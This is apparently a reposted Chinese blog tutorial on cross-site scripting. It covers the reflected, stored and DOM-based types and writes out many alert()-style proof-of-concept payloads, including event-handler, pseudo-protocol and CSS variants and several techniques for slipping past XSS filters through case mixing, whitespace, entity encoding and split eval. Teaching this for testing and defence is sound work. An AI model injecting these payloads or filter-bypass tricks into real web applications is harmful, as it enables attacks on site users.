XSS -- 三种基本漏洞 (浅谈)

一、  XSS 漏洞的验证
        我们可以用一段简单的代码,验证和检测漏洞的存在,这样的代码叫做PoC(Proof of Concept)。验证XSS 漏洞存在的PoC 如下:
              (1)<script>alert(/xss/)</script>       
              (2)<script>confirm('xss')</script>        
              (3)<script>prompt('xss')</script>

二、XSS分类

1. 反射型XSS
        反射型XSS 是非持久性、参数型的跨站脚本。反射型XSS 的JS 代码在Web 应用的参数(变量)中,如搜索框的反射型XSS。在搜索框中,提交PoC[<script>alert(/xss/)</script>],点击搜索,即可触发反射型XSS。 注意到,我们提交的poc 会出现在search.php 页面的keywords 参数中。

2.存储型XSS
        存储型XSS 是持久性跨站脚本。持久性体现在XSS 代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS 通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS 使用的JS 代码,JS 代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS 代码,才能真正触发XSS。此时,需要我们模拟网站后台管理员的身份,查看留言。

3.基于DOM的 XSS
       DOM XSS 比较特殊。owasp 关于DOM 型号XSS 的定义是基于DOM 的XSS 是一种XSS 攻击,其中攻击的payload由于修改受害者浏览器页面的DOM 树而执行的。其特殊的地方就是payload 在浏览器本地修改DOM 树而执行, 并不会传到服务器上,这也就使得DOM XSS 比较难以检测。

三、 XSS的构造

1. 利用  [<>]  构造HTML/JS
    在测试页面 提交[<script>alert(/xss/)</script>]
 
2. 伪协议  ----  可以使用javascript: 伪协议的方式构造XSS
     (1)提交参数[<a href="javascript:alert(/xss/)">touch me!</a>],然后点击超链接,即可触发XSS。

     (2)也可以使用img 标签的伪协议,但是这种方法在IE6 下测试成功。[<img src="javascript:alert('xss')">]。

3. 产生事件
     (1) “事件驱动”是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些事件进行响应。所以我们可以通过事件触发JS 函数,触发XSS。
    (2)事件种类
             windows 事件    对windows 对象触发的事件
             Form 事件        HTML 表单内的动作触发事件
             Keyboard 事件    键盘按键
             Mouse 事件    由鼠标或类似用户动作触发的事件
             Media 事件    由多媒体触发的事件

     例如,
       [<img src='./smile.jpg' onmouseover='alert(/xss/)'>]这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS 代码。
       单行文本框的键盘点击事件,[<input type="text" onkeydown="alert(/xss/)">],当点击键盘任意一个按键的时候出发。

4. 利用CSS 跨站
    我们也可以利用CSS(层叠样式脚本)触发XSS。但是这种方法比较古老,基本上不适合现在主流的浏览器,但是从学习的角度,我们需要了解这种类型的XSS。一下代码均在IE6 下测试。
    (1)行内样式
         [<div style="background-image:url(javascript:alert(/xss/))">]
    (2) 页内样式

 [

<style>

div{

background-image:url(javascript:alert(/xss/))

}

</style>

<div>lalalla</div>

]

 


    (3)  外部样式
[
<link rel="stylesheet" type="text/css" href="http://172.18.1.131/xss.css">
<div>hello<div>
]  

    (4)    expression
[<div style="width:expression(alert(/xss/))">]
 
    (5)   import
    [
    <style>@import 'javascript:alert("xss")';</style>
    ]
 

    [<style type="text/css">@import url(xss.css);</style><div>AJEST</div>]
 
5.  其他标签以及手法
    我们也可以用其他标签触发XSS。
    <svg onload="alert(/xss/)">  

    <input onfocus=alert(/xss/) autofocus>

四、XSS变形

    我们可以构造的XSS 代码进行各种变形,以绕过XSS 过滤器的检测。变形方式主要有以下几种
1.大小写转换
    可以将payload 进行大小写转化。如下面两个例子。   
    <Img sRc='#' Onerror="alert(/xss/)" />
    <a hREf="javaScript:alert(/xss/)">click me</a>

2. 引号的使用
    HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。
(1)<img src="#" onerror="alert(/xss/)"/>
(2)<img src='#' onerror='alert(/xss/)'/>
(3)<img src=# onerror=alert(/xss/) />

3. [/]代替空格
    可以利用左斜线代替空格
    <Img/sRc='#'/Onerror='alert(/xss/)' />

4. tab 与回车
    我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。
(1)<Img/sRc='#'/Onerror    ='alert(/xss/)' />
(2)<A hREf="j    avascript:alert(/xss/)">click me!</a>
<A hREf="j
avascript:alert(/xss/)">click me!</a>

5. 对标签属性值进行转码     -----   可以对标签属性值进行转码,用来绕过过滤。
   例

    (1)对应编码如下:
         字母    ASCII 码    十进制编码    十六进制编码
            a        97            &#97;        &#x61;
            e        101            &#101;        &#x65;

      经过简单编码之后的样子。
            <A hREf="j    &#97;v&#x61;script:alert(/xss/)">click me!</a>

    (2) 我们可以将以下字符插入到任意位置
            Tab        &#9    
            换行    &#10
            回车    &#13

    可以将以下字符插入到头部位置
             SOH        &#01
             STX        &#02
                    
       经过编码后的样子。
           <A hREf="&#01;j&#97;v&#x61;s&#9;c&#10;r&#13;ipt:alert(/xss/)">
             click me!
           </a>

6.  拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>

<script>alert(/xss/)</script>

猜你喜欢

转载自blog.csdn.net/thj_1995/article/details/84033939